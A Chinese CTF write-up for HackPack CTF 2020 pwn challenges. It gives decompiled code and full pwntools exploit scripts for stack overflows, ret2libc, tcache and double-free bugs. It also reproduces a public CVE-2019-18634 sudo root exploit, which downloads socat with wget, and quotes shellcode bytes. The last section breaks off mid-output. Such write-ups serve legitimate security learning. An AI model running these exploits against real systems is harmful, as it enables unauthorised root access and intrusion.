【WriteUp】HackPack CTF 2020 -- Pwn 题解

这比赛为啥结束了才出现在 ctftime.org 上,赶忙做题 23333

jsclean

Description:

tJavaScript Cleaning Service: Transform ugly JavaScript files to pretty clean JavaScript files!

nc cha.hackpack.club 41718

Solution:

一上来给了一个 python 脚本,源码如下:

import os
import sys
import subprocess


def main(argv):
    print("Welcome To JavaScript Cleaner")
    js_name = input("Enter Js File Name To Clean: ")
    code = input("Submit valid JavaScript Code: ")

    js_name = os.path.basename(js_name) # No Directory Traversal for you

    if not ".js" in js_name:
        print("No a Js File")
        return

    with open(js_name,'w') as fin:
        fin.write(code)

    p = subprocess.run(['/usr/local/bin/node','index.js','-f',js_name],stdout=subprocess.PIPE);
    print(p.stdout.decode('utf-8'))

main(sys.argv)

经测试不能反弹 shell,所以搬了一份 nodejs 读文件的操作

pwn 手已经开始侵略 web 的世界了 QAQ

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context.log_level = 'debug'
p = remote('cha.hackpack.club', 41718)

p.sendlineafter('Clean: ', 'index.js')
pd = '''const fs = require('fs');const a = fs.readFileSync('flag.txt', 'utf8');console.log(a)'''
p.sendlineafter('Code: ', pd)
success(p.recvuntil('}'))
p.recv()
p.interactive()

Flag:

flag{Js_N3v3R_FuN_2_Re4d}

mousetrap

Description:

Are you savvy enough to steal a piece of cheese?

nc cha.hackpack.club 41719

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

ret2text 型题目,入门栈溢出

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char **v3; // ST00_8
  __int64 v4; // rsi
  char v6; // [rsp+10h] [rbp-120h]
  char v7; // [rsp+110h] [rbp-20h]
  __int64 v8; // [rsp+128h] [rbp-8h]

  v3 = argv;
  v8 = 10LL;
  init();
  menu();
  set_mouse_name(&v7);
  v4 = v8;
  deactivate_trap((__int64)&v6, v8);
  grab_cheese(&v6);
  printf("SNAAAAAAAP! you died!", v4, v3);
  return 0;
}

init 函数、menu 函数没什么用

set_mouse_name 函数如下:

ssize_t __fastcall set_mouse_name(void *a1)
{
  printf("Name: ");
  return read(0, a1, 0x20uLL);
}

这个函数的作用是将 main 函数中的 v8 变量变大,让下面 deactivate_trap 函数内可输入的字符串长度变大

deactivate_trap 函数如下:

ssize_t __fastcall deactivate_trap(__int64 a1, __int64 a2)
{
  size_t nbytes; // ST00_8
  void *buf; // ST08_8

  printf("Enter Code Sequence of %ld: ", a2, a2, a1);
  return read(0, buf, nbytes);
}

这里将输入的数据存到了 a1 指针里

grab_cheese 函数如下:

char *__fastcall grab_cheese(const char *a1)
{
  char dest; // [rsp+10h] [rbp-10h]

  return strcpy(&dest, a1);
}

漏洞函数,将上面输入的值复制到 dest 指针里,造成栈溢出

cheeeeeeeese 函数如下:

int cheeeeeeeese()
{
  return system("/bin/sh");
}

有后门可以用,所以直接覆盖到后门就好了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('cha.hackpack.club', 41719)

# gdb.attach(p, "b *0x4008B9\nc")
p.sendafter('Name: ', 'a' * 0x18 + p64(1000))
pd = 'a' * 0x18
pd += p64(0x40071B)
p.sendlineafter('of 1000: ', pd)
p.interactive()

Flag:

flag{C0nTr0l_S1Z3_4_$h3LL}

climb

Description:

Can you help me climb the rope?

nc cha.hackpack.club 41702

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-20h]

  setbuf(_bss_start, 0LL);
  puts("Stranger: Help! I'm stuck down here. Can you help me climb the rope?");
  printf("How will you respond? ", 0LL);
  read(0, &buf, 0x1F4uLL);
  return 0;
}

call_me 函数如下:

int __fastcall call_me(const char *a1)
{
  return system(a1);
}

入门 Pwn 知识,考察点是利用 rop 传参

没想太多,有 puts 函数直接 ret2libc 了,直接调用system('/bin/sh');会段错误

借着在 BUUCTF 做题的知识点,加了个 ret 的地址绕过了这个限制

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('cha.hackpack.club', 41702)
elf = ELF('./chall', checksec=False)
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_main = 0x40067F
rop1 = 0x0000000000400743  # pop rdi ; ret
rop2 = 0x00000000004004fe  # ret

pd = 'a' * 0x28
pd += p64(rop1)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_main)
p.sendlineafter('respond? ', pd)

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
# libc6_2.27-3ubuntu1_amd64.so
libc = easyLibc('puts', addr_puts, 2)
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

# gdb.attach(p, "b *0x4006D4\nc")
pd = 'a' * 0x28
pd += p64(rop2)
pd += p64(rop1)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
pd += p64(addr_main)
p.sendlineafter('respond? ', pd)
p.interactive()

Flag:

flag{w0w_A_R34L_LiF3_R0pp3r!}

ToddlerCache

Description:

Welcome to ToddlerCache (t-cache for short)

nc cha.hackpack.club 41703

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-70h]
  __int64 v5; // [rsp+8h] [rbp-68h]
  __int64 v6[11]; // [rsp+10h] [rbp-60h]
  unsigned __int64 v7; // [rsp+68h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  puts("Welcome parents, to the ToddlerCache (We're calling it t-cache for short and legal reasons)");
  puts("This program is for you to record memories with your toddlers!");
  LODWORD(v4) = 0;
  while ( 1 )
  {
    prompt();
    setbuf(stdout, 0LL);
    HIDWORD(v4) = get_number();
    if ( HIDWORD(v4) == -1 )
      break;
    switch ( HIDWORD(v4) )
    {
      case 1:
        v6[(signed int)v4] = (__int64)malloc(0x80uLL);
        printf("[+] Entry created!", 0LL, v4, v5);
        LODWORD(v4) = v4 + 1;
        break;
      case 2:
        HIDWORD(v5) = write_entry((__int64)v6, (unsigned int)v4);
        if ( HIDWORD(v5) == -1 )
          goto LABEL_13;
        break;
      case 3:
        LODWORD(v5) = free_entry((__int64)v6, (unsigned int)v4);
        if ( (_DWORD)v5 == -1 )
          goto LABEL_13;
        break;
      case 4:
        goto LABEL_13;
      default:
        puts("Please select a valid option");
        break;
    }
  }
LABEL_13:
  puts("Goodbye!");
  return 0;
}

prompt 函数如下:

int prompt()
{
  puts("-- What would you like to do?");
  puts("1.) New");
  puts("2.) Write");
  puts("3.) Free");
  puts("4.) Quit");
  return printf("> ");
}

get_number 函数如下:

signed __int64 get_number()
{
  unsigned int v1; // [rsp+0h] [rbp-40h]
  int v2; // [rsp+4h] [rbp-3Ch]
  char *v3; // [rsp+8h] [rbp-38h]
  char s; // [rsp+10h] [rbp-30h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v2 = 0;
  while ( v2 != 1 )
  {
    printf("> ");
    v3 = fgets(&s, 32, stdin);
    if ( !v3 )
      return 0xFFFFFFFFLL;
    v2 = __isoc99_sscanf(&s, "%d", &v1);
    if ( !v2 )
      puts("You didn't enter a number. Please try again");
  }
  return v1;
}

write_entry 函数如下:

signed __int64 __fastcall write_entry(__int64 a1, __int64 a2)
{
  signed __int64 result; // rax
  _QWORD *v3; // rcx
  __int64 v4; // rdx
  __int64 v5; // rdx
  signed int i; // [rsp+18h] [rbp-38h]
  signed int v7; // [rsp+1Ch] [rbp-34h]
  __int64 buf; // [rsp+20h] [rbp-30h]
  __int64 v9; // [rsp+28h] [rbp-28h]
  __int64 v10; // [rsp+30h] [rbp-20h]
  __int64 v11; // [rsp+38h] [rbp-18h]
  unsigned __int64 v12; // [rsp+48h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  if ( (_DWORD)a2 )
  {
    puts("Please indicate which entry you'd like to write to");
    for ( i = 0; i < (signed int)a2; ++i )
      printf("Entry #%d\n", (unsigned int)i);
    v7 = get_number();
    if ( v7 == -1 )
    {
      result = 0xFFFFFFFFLL;
    }
    else
    {
      if ( v7 <= (signed int)a2 )
      {
        puts("What would you like to write?");
        read(0, &buf, 0x20uLL);
        v3 = *(_QWORD **)(8LL * v7 + a1);
        v4 = v9;
        *v3 = buf;
        v3[1] = v4;
        v5 = v11;
        v3[2] = v10;
        v3[3] = v5;
        puts("[+] Entry written");
      }
      else
      {
        puts("You must pick a valid entry");
      }
      result = 0LL;
    }
  }
  else
  {
    puts("You have no entries!");
    result = 0LL;
  }
  return result;
}

free_entry 函数如下:

int __fastcall free_entry(__int64 a1, __int64 a2)
{
  int result; // eax
  signed int i; // [rsp+18h] [rbp-8h]
  signed int v4; // [rsp+1Ch] [rbp-4h]

  if ( (_DWORD)a2 )
  {
    puts("Please indicate which entry you'd like to delete");
    for ( i = 0; i < (signed int)a2; ++i )
      printf("Entry #%d\n", (unsigned int)i);
    printf("> ");
    v4 = get_number();
    if ( v4 == -1 )
    {
      result = 0;
    }
    else if ( v4 <= (signed int)a2 )
    {
      free(*(void **)(8LL * v4 + a1));
      result = printf("Entry %d deleted!\n", (unsigned int)v4);
    }
    else
    {
      puts("You must pick a valid entry");
      result = 0;
    }
  }
  else
  {
    puts("You have no entries!");
    result = 0;
  }
  return result;
}

后门函数 → call_me 函数如下

unsigned __int64 call_me()
{
  char *path; // [rsp+0h] [rbp-20h]
  __int64 v2; // [rsp+8h] [rbp-18h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  path = "/bin/sh";
  v2 = 0LL;
  execve("/bin/sh", &path, 0LL);
  return __readfsqword(0x28u) ^ v3;
}

题目给了 libc 和 ld 文件,是 2.26 的,还有一个 run.sh 脚本:

#!/bin/bash

VERSION="./glibc_versions"
VER="2.26"
TARGET="./toddler_cache"

curr_interp=$(readelf -l "$TARGET" | grep 'Requesting' | cut -d':' -f2 | tr -d ' ]')
target_interp="$VERSION/ld-$VER.so"

if [[ $curr_interp != $target_interp ]];
then
    patchelf --set-interpreter "$target_interp" "$TARGET"
fi

LD_PRELOAD="$VERSION/libc-$VER.so" "$TARGET"

但是它和我 libc 库里的 libc-2.26.so 不匹配,估计是自己编译的

因为 run.sh 脚本启动的程序调试时会出现很多堆块,所以先用命令

patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 ./toddler_cache

替换程序的 ld 为本地的 ld,之后用 libc-2.27.so 的概念打就行

程序有 UAF 漏洞,那么先申请一个堆块,释放它

利用 write_entry 函数修改空闲堆块的 fd 为 puts 函数的 got 表

再申请两次堆块,第二次申请的堆块上写上后门地址即可,即复写 puts 函数的 got 表

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./toddler_cache'])
else:
    p = remote('cha.hackpack.club', 41703)
elf = ELF('./toddler_cache', checksec=False)
got_puts = elf.got['puts']
addr_call_me = elf.sym['call_me']


def add():
    p.sendlineafter('> > ', '1')


def edit(edit_idx, edit_data):
    p.sendlineafter('> > ', '2')
    p.sendlineafter('> ', str(edit_idx))
    p.sendlineafter('write?\n', str(edit_data))


def delete(delete_idx):
    p.sendlineafter('> > ', '3')
    p.sendlineafter('> ', str(delete_idx))


add()
delete(0)
edit(0, p64(got_puts))
add()
add()
edit(2, p64(addr_call_me))
# gdb.attach(p)
p.interactive()

Flag:

flag{n0w_th4ts_a_p0is0n3d_t_c4ch3}

Humpty Dumpty's SSH Account

Description:

Humpty Dumpty has somehow (surprise surprise!) leaked the access details of his SSH account on a Top Secret server: humptydumpty@cha.hackpack.club:41701. The password turned out to be 'covfefe' (without the quotes of course). Fortunately, that account does not have admin privilege (someone in the IT Department has really good foresight...). Your mission is to make it unfortunate, by gaining admin privilege and retrieving the flag!

Solution:

进入终端可以看到家目录有 flag,但是自己不是 root 权限没法读

但是发现 sudo 显示了这些东西,明显开了 pwfeedback

humptydumpty@53d42f58e92b:~$ sudo cat flag

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

Password: 

所以猜测是 CVE-2019-18634 漏洞,于是我从 Github 上面 copy 了一份代码

来自于:https://github.com/Plazmaz/CVE-2019-18634/blob/master/self-contained.sh

#!/bin/bash
# We will need socat to run this.
if [ ! -f socat ];
then
    wget https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
    chmod +x socat
fi

cat <<EOF > xpl.pl
\$buf_sz = 256;
\$askpass_sz = 32;
\$signo_sz = 4*65;
\$tgetpass_flag = "\x04\x00\x00\x00" . ("\x00"x24);
print("\x00\x15"x(\$buf_sz+\$askpass_sz) .
     ("\x00\x15"x\$signo_sz) .
     (\$tgetpass_flag) . "\x37\x98\x01\x00\x35\x98\x01\x00\x35\x98\x01\x00\xff\xff\xff\xff\x35\x98\x01\x00\x00\x00\x00\x00".
     "\x00\x00\x00\x00\x00\x15"x104 . "\n");
EOF

cat <<EOF > exec.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
        printf("Exploiting!\n");
        int fd = open("/proc/self/exe", O_RDONLY);
        struct stat st;
        fstat(fd, &st);
        if (st.st_uid != 0)
        {
                fchown(fd, 0, st.st_gid);
                fchmod(fd, S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
        }
        else
        {
                setuid(0);
                execve("/bin/bash",NULL,NULL);
        }
return 0;
}
EOF
cc -w exec.c -o /tmp/pipe
./socat pty,link=/tmp/pty,waitslave exec:"perl xpl.pl"&
sleep 0.5
export SUDO_ASKPASS=/tmp/pipe
sudo -k -S id < /tmp/pty
/tmp/pipe

之后就拿到了 root 权限,flag 也顺势到手

Flag:

flag{7h3_vu1n!_i5?...CVE_2019-18634!}

bookworm

Description:

Bookworm: a book collection service.

nc cha.hackpack.club:41720

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

题目给了 libc,看了一下是 2.27 的,又是一道 Tcache 题

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  while ( 1 )
  {
    menu();
    v3 = -1;
    __isoc99_scanf("%d", &v3);
    switch ( (unsigned int)off_4010DC )
    {
      case 1u:
        create_book();
        break;
      case 2u:
        delete_book();
        break;
      case 3u:
        change_summary();
        break;
      case 4u:
        read_summary();
        break;
      case 5u:
        puts("\nGoodbye!");
        exit(0);
        return;
      default:
        puts("\ninvalid input");
        exit(1);
        return;
    }
  }
}

init 函数如下:

int init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}

menu 函数如下:

int menu()
{
  return printf(
           "\t***Welcome to Book Worm A Book Collection Service***\n"
           "\n"
           "1)\tCreate a Book\n"
           "2)\tDelete a Book\n"
           "3)\tChange Book Summary\n"
           "4)\tRead Book Summary\n"
           "5)\tQuit\n"
           ">> ");
}

create_book 函数如下:

unsigned __int64 create_book()
{
  void *v0; // rsi
  int v2; // [rsp+0h] [rbp-30h]
  int v3; // [rsp+4h] [rbp-2Ch]
  int i; // [rsp+8h] [rbp-28h]
  int v5; // [rsp+Ch] [rbp-24h]
  void *buf; // [rsp+10h] [rbp-20h]
  void *v7; // [rsp+18h] [rbp-18h]
  _QWORD *v8; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  v5 = 0;
  for ( i = 0; i <= 9 && bookcase[i]; ++i )
    ;
  if ( i > 9 )
  {
    puts("Error Book case is full!");
  }
  else
  {
    printf("Enter book name size: ");
    v2 = 0;
    __isoc99_scanf("%d", &v2);
    if ( v2 >= 0 )
    {
      buf = malloc(v2 + 1);
      printf("Enter book name: ", &v2);
      v0 = buf;
      read(0, buf, v2);
      v3 = 0;
      printf("Enter book summary size: ", v0);
      __isoc99_scanf("%d", &v3);
      if ( v3 >= 0 )
      {
        printf("Enter book summary: ", &v3);
        v7 = malloc(v3 + 1);
        read(0, v7, v3);
        v8 = calloc(0x18uLL, 1uLL);
        *v8 = display_summary;
        v8[1] = buf;
        v8[2] = v7;
        bookcase[i] = v8;
      }
      else
      {
        puts("invalid size");
        free(buf);
      }
    }
    else
    {
      puts("invalid size");
    }
  }
  return __readfsqword(0x28u) ^ v9;
}

delete_book 函数如下:

unsigned __int64 delete_book()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = -1;
  printf("Select Book ID (0-10): ");
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 9 )
  {
    if ( bookcase[v1] )
    {
      puts("Deleting....");
      free((void *)bookcase[v1]);
    }
    else
    {
      puts("Error invalid Book ID");
    }
  }
  else
  {
    puts("invalid id");
  }
  return __readfsqword(0x28u) ^ v2;
}

change_summary 函数如下:

unsigned __int64 change_summary()
{
  int v1; // [rsp+0h] [rbp-20h]
  int v2; // [rsp+4h] [rbp-1Ch]
  __int64 v3; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v1 = -1;
  printf("Select Book ID (0-10): ", *(_QWORD *)&v1);
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 9 )
  {
    if ( bookcase[v1] )
    {
      v3 = bookcase[v1];
      v2 = 0;
      printf("Enter book summary size: ", &v1);
      __isoc99_scanf("%d", &v2);
      if ( v2 >= 0 )
      {
        free(*(void **)(v3 + 16));
        printf("Enter book summary: ", &v2);
        buf = malloc(v2);
        read(0, buf, v2);
        *(_QWORD *)(v3 + 0x10) = buf;
      }
      else
      {
        puts("invalid size");
      }
    }
    else
    {
      puts("Error invalid Book ID");
    }
  }
  else
  {
    puts("invalid id");
  }
  return __readfsqword(0x28u) ^ v5;
}

read_summary 函数如下:

unsigned __int64 read_summary()
{
  int v1; // [rsp+Ch] [rbp-14h]
  __int64 v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v1 = -1;
  printf("Select Book ID (0-10): ");
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 9 )
  {
    if ( bookcase[v1] )
    {
      v2 = bookcase[v1];
      (*(void (__fastcall **)(_QWORD, int *))v2)(*(_QWORD *)(v2 + 0x10), &v1);
    }
    else
    {
      puts("Error invalid Book ID");
    }
  }
  else
  {
    puts("invalid id");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里 read_summary 函数调用的是 calloc 出来的堆块地址 + 0x8 的值,在 create_book 函数中有写,默认调用的是 display_summary 函数

display_summary 如下:

int __fastcall display_summary(const char *a1)
{
  return puts(a1);
}

程序有 UAF 漏洞,导致堆块可以轻松 double free 以及其他函数对已释放堆块的可操作性

而且还能依靠 change_summary 函数释放出 unsorted bin 来泄露 libc

那么利用 double free 将 __malloc_hook 那改成调用 one_gadget 即可

不改 got 是因为需要调整栈,这里需要用到 __libc_realloc

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('cha.hackpack.club', 41720)
    libc = ELF('./libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)


def add(add_name_size, add_name, add_summary_size, add_summary):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('size: ', str(add_name_size))
    p.sendafter('name: ', add_name)
    p.sendlineafter('y size: ', str(add_summary_size))
    p.sendafter('summary: ', add_summary)


def delete(delete_idx):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('(0-10): ', str(delete_idx))


def edit(edit_idx, edit_size, edit_summary):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('(0-10): ', str(edit_idx))
    p.sendlineafter('size: ', str(edit_size))
    p.sendafter('summary: ', edit_summary)


def show(show_idx):
    p.sendlineafter('>> ', '4')
    p.sendlineafter('(0-10): ', str(show_idx))


libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]

add(0x40, 'a', 0x410, 'a')
edit(0, 0x10, '\x90')
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x460
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr___libc_realloc = libcbase + libc.sym['__libc_realloc']
addr_one_gadget = libcbase + libc_one_gadget[2]

add(0x10, 'a', 0x3a0, 'a')
delete(0)
delete(0)
add(0x20, 'a', 0x10, p64(addr___malloc_hook - 8))
add(0x20, 'a', 0x10, 'a')
# gdb.attach(p, "b _dl_addr\nc")
add(0x20, 'a', 0x10, p64(addr_one_gadget) + p64(addr___libc_realloc + 14))
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('libcbase           = ' + hex(libcbase))
success('addr_one_gadget    = ' + hex(addr_one_gadget))
p.interactive()

Flag:

flag{N0th1ng_1$_3v3r_Fr33}

HackingUSSR

Description:

Join great Soviet Revolution! Smash Yankee imperialist Wall Street hooligans and win DOUBLE RATION OF POTATOS next month!

ssh -p 41705 youngPioneer@cha.hackpack.club

(password: heLovedBigBrother)

Solution:

连上 ssh 后有两个文件:README 和 throw,throw 文件有 s 权限

README 文件如下:

"In Soviet Russia...
        ...target p0wn YOU!"
    -- ancient Russian proverb

This one's a little different. ;-)

You're not trying to p0wn a target--the target is trying to p0wn you!

If you can trick the attacker into thinking he's gained execution on your "system," he might try to mark his conquest with a boastful flag...

Hint: check around for what tools we installed on this system to help you out...

throw 程序经过反编译后得到的 main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *envpa; // [rsp+10h] [rbp-10h]
  __int64 v5; // [rsp+18h] [rbp-8h]

  envpa = "TERM=vt100";
  v5 = 0LL;
  execve("/root/throw.py", (char *const *)argv, &envpa);
  perror("execv");
  return 1;
}

这题真的⑧会,看了题解才弄懂啥意思

首先通过强制中断 throw 程序可以看出 throw.py 脚本用的是 socket 编程,如下:

youngPioneer@071f415fdb63:~$ ./throw 2.2.2.3 123213
$<5>[$<2>-] Opening connection to 2.2.2.3 on port 123213: Failed
$<5>Traceback (most recent call last):
  File "/root/throw.py", line 55, in <module>
    sys.exit(main(sys.argv))
  File "/root/throw.py", line 38, in main
    p = remote(attack_host, attack_port)
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/remote.py", line 75, in __init__
    self.sock   = self._connect(fam, typ)
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/remote.py", line 109, in _connect
    sock.connect(sockaddr)
  File "/usr/local/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
KeyboardInterrupt

又因为 socket 编程的话,不做端口转发的话是无法用外网进行数据传输的,所以这里索性用内网来进行传输

这个终端里没法用 ipconfig 命令查看内网 ip,不过 ip addr 仍然是可用的,得到 ip 如下:

youngPioneer@a7f7130cbb95:/tmp$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
168341: eth0@if168342: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:0b brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.11/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

可以看到内网 ip 为 172.17.0.11,那么我们就用这个机子作为接收端,再开一个机子作为发送端运行 throw 程序

但是注意这两个机子的内网 D 段必须是相邻的,不然不能进行 socket 通信,暂且不知道为啥

跟 Match 师傅讨论后,我感觉可能是因为出题人的服务器用的是环型拓扑结构

首要的是写一个接收 socket 通信的脚本,脚本如下:

import socket

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind(('172.17.0.11', 2333))
    s.listen(1)
    while True:
        conn, addr = s.accept()
        with conn:
            data = conn.recv(1024)
            print('data : {}, addr: {}'.format(data, addr))

然后没发生啥,发送端报了个错:

youngPioneer@071f415fdb63:~$ ./throw 172.17.0.11 2333
$<5>[$<2>+] Opening connection to 172.17.0.11 on port 2333: Done
$<5>Sending sploit...
Traceback (most recent call last):
  File "/root/throw.py", line 55, in <module>
    sys.exit(main(sys.argv))
  File "/root/throw.py", line 41, in main
    back = p.recvn(16)
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/tube.py", line 242, in recvn
    while self.countdown_active() and len(self.buffer) < numb and self._fillbuffer(self.timeout):
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[$<2>*] Closed connection to 172.17.0.11 port 2333

这里显示要接收 16 字节的数据,正常看都不知道要接受啥数据,于是看接收的信息:

data : b'\xebUAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\xc7\xff\xff[\x8ds\x081\xc9\x83\xc1\x041.\x83\xc6\x04\xe2\xf9S\xba\x10\x00\x00\x00\x8dK\x08\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80[1\xc9QS\x89\xe11\xd2\xb8\x0b\x00\x00\x00\xcd\x80\xeb\xfe\xe8\xc4\xff\xff\xff/bin/sh\x00F9F32faD9c6c4e5E\n', addr: ('172.17.0.13', 50180)

可以发现在/bin/sh\x00后面总会有 16 个字符,于是猜测是传输这 16 个字符,然后收到报错信息如下:

youngPioneer@071f415fdb63:~$ ./throw 172.17.0.11 2333
$<5>[$<2>+] Opening connection to 172.17.0.11 on port 2333: Done
$<5>Sending sploit...
No joy! ('ECBdBf2B4aE867bE' != "\x04\x02\x03%\x03's\x03u \x04ywv#\x04")
[$<2>*] Closed connection to 172.17.0.11 port 2333

可以看到很有序,E 在的地方肯定是 \x04,B 在的地方肯定是 \x03

而且 C 对应的是 \x02,所以这看着不像加减法,像异或的结果,能得到异或参数是 \x41

之后得到了字符串 whoami,发送端又炸了,现在接收端如下:

youngPioneer@2a122ec81190:/tmp$ python3 1.py 
data : b'\xebUAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\xc7\xff\xff[\x8ds\x081\xc9\x83\xc1\x041.\x83\xc6\x04\xe2\xf9S\xba\x10\x00\x00\x00\x8dK\x08\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80[1\xc9QS\x89\xe11\xd2\xb8\x0b\x00\x00\x00\xcd\x80\xeb\xfe\xe8\xc4\xff\xff\xff/bin/sh\x00658d9DcaE26FF2c3\n', addr: ('172.17.0.10', 34166)
data : b'whoami\n', addr: ('172.17.0.10', 34166)

发送端如下:

youngPioneer@22b8321eeb28:~$ ./throw 172.17.0.11 2333
$<5>[$<2>+] Opening connection to 172.17.0.11 on port 2333: Done
$<5>Sending sploit...
W00t! Sending `whoami`...
Traceback (most recent call last):
  File "/root/throw.py", line 55, in <module>
    sys.exit(main(sys.argv))
  File "/root/throw.py", line 47, in main
    whoami = p.recvline().strip()
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/tube.py", line 467, in recvline
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/tube.py", line 310, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/tube.py", line 82, in recv
    return self._recv(numb, timeout) or b''
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/tube.py", line 160, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/usr/local/lib/python2.7/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[$<2>*] Closed connection to 172.17.0.11 port 2333

尝试发送自己的昵称,返回了这样一段话No joy! (running as binLep, not root)

那就将发送的数据改为 root,这回得到了 flag

youngPioneer@22b8321eeb28:~$ ./throw 172.17.0.11 2333
$<5>[$<2>+] Opening connection to 172.17.0.11 on port 2333: Done
$<5>Sending sploit...
W00t! Sending `whoami`...
